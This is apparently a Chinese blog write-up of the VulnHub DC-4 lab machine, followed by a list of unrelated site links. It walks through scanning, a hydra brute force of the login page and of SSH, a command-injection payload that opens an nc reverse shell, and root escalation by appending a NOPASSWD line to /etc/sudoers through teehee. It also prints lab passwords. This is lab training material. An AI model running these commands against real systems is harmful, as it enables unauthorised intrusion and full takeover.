当前位置: 首页 > news >正文

DC-4靶机

信息收集:

靶机地址:https://www.vulnhub.com/entry/dc-4,313/

(1)ip扫描

nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:21:17:8D'

(2)端口扫描

nmap -p- -A 192.168.254.153

(3)目录扫描

dirb http://192.168.254.153

(4)访问80端口,发现一个登录界面

(5)爆破密码

hydra -l admin -P rockyou.txt 192.168.254.153 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F-l admin:指定用户名为 admin。
-P rockyou.txt:指定密码字典为当前目录下的 rockyou.txt。
192.168.1.165:指定要攻击的服务器 IP 地址。
http-post-form:指定使用 HTTP POST 请求方式。
"/login.php:username=^USER^&password=^PASS^:S=logout":指定登录页面地址 /login.php,并使用 username 和 password 作为参数名来传递用户名和密码。其中 ^USER^ 和 ^PASS^ 含义为在暴力破解过程之中将要用到的用户名和密码,而 :S=logout 则是指当程序返回值为 logout 时,认为破解成功并退出程序。
-F:如果成功的话,停止猜测其他密码。

(6)登录

getshell:

(1)bp抓包,是命令执行

(2)查看/etc/passwd

(3)反弹shell

radio=nc+-e/bin/bash+192.168.254.129+6768&submit=Run
nc -lvnp 6768

提权:

(1)使用 python3 提升交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

(2)sudo -l,不知道密码

(3)jim目录下有密码字典,并将字典下载下来,使用hydra进行破解

hydra -L Username.txt -P old-passwords.bak ssh://192.168.254.153 
jim
jibril04

(4)ssh连接jim

ssh jim@192.168.254.153 

(5)说是有一封信,在/var/mail

(6)有charles密码 ^xHhA&hvim0y,切换到charles

(7)sudo -l ,teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
sudo su

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Shell编程基础:从简单脚本到复杂任务自动化
  • 介质套检测方案,如何提升检测效率?
  • C语言程序设计之内存溢出
  • superset定制化配置修改总结
  • AI安全-文生图
  • Python酷库之旅-第三方库Pandas(081)
  • 《编程学习笔记之道:构建知识宝库的秘诀》
  • Mocha测试框架:JavaScript自动化测试的瑞士军刀
  • 【教程】Ubuntu给pycharm添加侧边栏快捷方式
  • 如何在 Odoo 16 会计中向发票添加付款二维码
  • Tkinter教程
  • 微信支付流程
  • 【实现100个unity特效之22】unity用Particle粒子系统制作2d龙卷风特效效果
  • 【Rust】使用开源项目搭建瓦片地图服务
  • xcode14.2学习笔记 swift5开发macos网络程序笔记
  • 11111111
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • codis proxy处理流程
  • emacs初体验
  • JavaScript/HTML5图表开发工具JavaScript Charts v3.19.6发布【附下载】
  • Magento 1.x 中文订单打印乱码
  • Mocha测试初探
  • node 版本过低
  • Python实现BT种子转化为磁力链接【实战】
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • SpringCloud(第 039 篇)链接Mysql数据库,通过JpaRepository编写数据库访问
  • Terraform入门 - 1. 安装Terraform
  • Vue 重置组件到初始状态
  • 道格拉斯-普克 抽稀算法 附javascript实现
  • 对象引论
  • 机器人定位导航技术 激光SLAM与视觉SLAM谁更胜一筹?
  • 每天10道Java面试题,跟我走,offer有!
  • 使用agvtool更改app version/build
  • 微服务核心架构梳理
  • 微信小程序开发问题汇总
  • 详解移动APP与web APP的区别
  • 小程序01:wepy框架整合iview webapp UI
  • 交换综合实验一
  • 移动端高清、多屏适配方案
  • ​​​​​​​STM32通过SPI硬件读写W25Q64
  • ​html.parser --- 简单的 HTML 和 XHTML 解析器​
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • #LLM入门|Prompt#2.3_对查询任务进行分类|意图分析_Classification
  • (01)ORB-SLAM2源码无死角解析-(66) BA优化(g2o)→闭环线程:Optimizer::GlobalBundleAdjustemnt→全局优化
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (LeetCode 49)Anagrams
  • (二)Linux——Linux常用指令
  • (附源码)ssm高校运动会管理系统 毕业设计 020419
  • (每日一问)操作系统:常见的 Linux 指令详解
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (杂交版)植物大战僵尸
  • (转)Groupon前传:从10个月的失败作品修改,1个月找到成功
  • (转)iOS字体
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • .mkp勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复